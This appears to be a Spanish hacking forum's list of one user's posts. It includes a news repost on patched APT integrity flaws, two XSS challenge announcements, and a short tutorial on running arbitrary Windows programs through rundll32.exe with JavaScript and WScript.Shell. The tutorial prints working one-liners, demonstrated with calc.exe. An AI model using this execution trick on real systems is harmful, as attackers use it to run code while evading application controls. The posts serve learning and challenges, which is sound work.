    Ha sido descubiertas varias vulnerabilidades críticas en el gestor de paquetes de alto nivel APT (Advanced Package Tool) el cual utilizan Debian y Ubuntu, además de una impresionante cantidad de distribuciones derivadas.


    Estas vulnerabilidades que se corrigen con una simple actualización, implican a la verificación de la integridad de las descargas.

    Se descubrió que APT no invalidaba correctamente los datos no autenticados, problemas con la suma de verificación cuando se usa la opción Acquire::GzipIndexes, junto con una validación erronea de los códigos 304 y una incorrecta certificación de los paquetes binarios descargados mediante la opción apt-get download.

    Tecnicismos aparte… la explotación de estas vulnerabilidades (de lo cual no hay ninguna constancia por ahora) podría dar lugar a ataques man-in-the-middle y descargar falsos paquetes manipulados por terceros.

    Pero como siempre una de las ventajas del software libre es la velocidad a la hora de corregir cualquier tipo de vulnerabilidad y desde hace 24-48 horas ya existen nuevas versiones de APT disponibles:

    -Ubuntu:

    Ubuntu 14.04 LTS: apt 1.0.1ubuntu2.3

    Ubuntu 12.04 LTS: apt 0.8.16~exp12ubuntu10.19

    Ubuntu 10.04 LTS: apt 0.7.25.3ubuntu9.16

    -Debian:

    Debian Stable (Wheezy): apt 0.9.7.9+deb7u3

    Debian Sid: apt 1.0.9

    No es preciso hacer nada especial para instalar estas actualizaciones simplemente ejecutar desde la terminal:

    Código: C
    1. sudo apt-get update
    2.  
    3. sudo apt-get upgrade

    Y ya estamos al día con todos los paquetes de nuestra distro actualizados (paradójicamente utilizando APT.

    Una vez actualizado (o antes) podéis ver la versión que estáis utilizando de APT ejecutando

    Código: C
    1. aptitude show apt

    Fuente: lamiradadelreplicante.com

    18
    Wargames y retos / Reto XSS [dificultad: el contexto]
    « en: Septiembre 15, 2014, 02:59:14 pm »
    ¡Buenas a todos!
    Se trata de un reto de XSS, no se filtra casi nada, la dificultad única está en el contexto.
    URL: http://alert0ordie.host56.com/
    Objetivo: ejecutar alert(0) en el servidor.
    Normas: no fuzzear ni utilizar herramientas automatizadas para no consumir el ancho de banda.
    Para pasar el reto deben postear un screenshot tapando el payload y enviarme un MP con su solución, OJO: debe ser explotable en las últimas versiones de Chrome, Firefox e IE en sus configuraciones por defecto.

    El reto se me ocurrió durante un Bug Bounty que utilizaba un filtro parecido al que yo he implementado

    PD: absolutamente todo lo que ocurre está previsto, también los posibles errores 404.

    Ganadores:
     Blackdrake (URI) --------> solución esperada, funcional en todos los navegadores.
     Arthusu (URI) ---------> solución esperada + encoding, funcional en todos los navegadores.


    Reto cerrado, solución en comentarios.



    Saludos.

    19
    Hacking / Usando Javascript para ejecutar tareas en Windows [cmd]
    « en: Julio 27, 2014, 11:09:28 am »
    ¡Buenas a todos! El post explica cómo ejecutar tareas en Windows desde cmd mediante código Javascript. Por ahora lo he probado en Windows 8 y en Windows 7, en ambos funciona.
    Quiero dejar constanza de que el payload inicial NO es mío, sino que lo vi por Twitter y me puse a probar cosas nuevas.

    Necesitaremos:
    • Un Windows
    • Conocimientos básicos de Javascript
    1. Abrimos nuestro cmd y ejecutamos nuestro rundll32.exe ubicado en C:\Windows\System32
    2. Una vez ahí lanzamos nuestro payload de prueba con un alert y nuestro nick:
    Código: [Seleccionar]
    rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";alert("Jimeno")Así obtendremos un resultado como este:


    Podemos ejecutar tanto alerts como prompts como cualquier otra cosa:


    Pero... ¿y si vamos más allá? ¿Y si decidimos ejecutar un programa cualquiera? ¿Se podrá? La respuesta es SÍ.
    Para esta demo decidí utilizar dos programas inofensivos: "calc.exe" --> la calculadora de Windows y "explorer.exe" --> el explorador de archivos.
    Eso sí, ahora nuestro payload se complica bastante, quedaría así:
    Código: [Seleccionar]
    rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write("\74script language=javascript>"+(new%20ActiveXObject("WScript.Shell")).Run("calc.exe")+"\74/script>")


    Para ejecutar cualquier otro programa solo necesitamos escribir su ruta:



    Esto es todo, ahora solo necesitan dejar jugar a su imaginación.

    ¡Saludos!

    20
    Wargames y retos / Reto XSS [nivel: medio]
    « en: Julio 01, 2014, 12:56:01 pm »

    Buenas, como ya dije iba a hacer una serie de retos y tras varios días con el papeleo de la Universidad aquí está el segundo.
    http://jimenoxsschallenge.hosting-gratiss.com/xss2.php
    Las reglas son iguales que en el anterior, quedan prohibidos los scanners, además que no les servirán.
    Objetivo: para pasar el reto habrán de responder a este tema con una captura de pantalla en la que NO se vea el payload y se muestre un ALERT/CONFIRM/PROMPT con su nick en el foro, posteriormente me enviarán el payload por mensaje privado para validarlo.
    Lista de ganadores:
    1º  - Dedalo (payload enviado por MD en Twitter)

    link: http://i.imgur.com/LQJKykM.png
    2º - Arthusu (payload enviado por Google Hangouts)

    link: http://i.imgur.com/9hhHKP3.png

    El reto queda cerrado, se ha publicado el solucionario con varios payloads válidos.

    EDITO: el solucionario del reto se publicará el día 6 de Julio o el día 7 de Julio en un comentario en este mismo post.
    Saludos.

    Páginas: [1] 2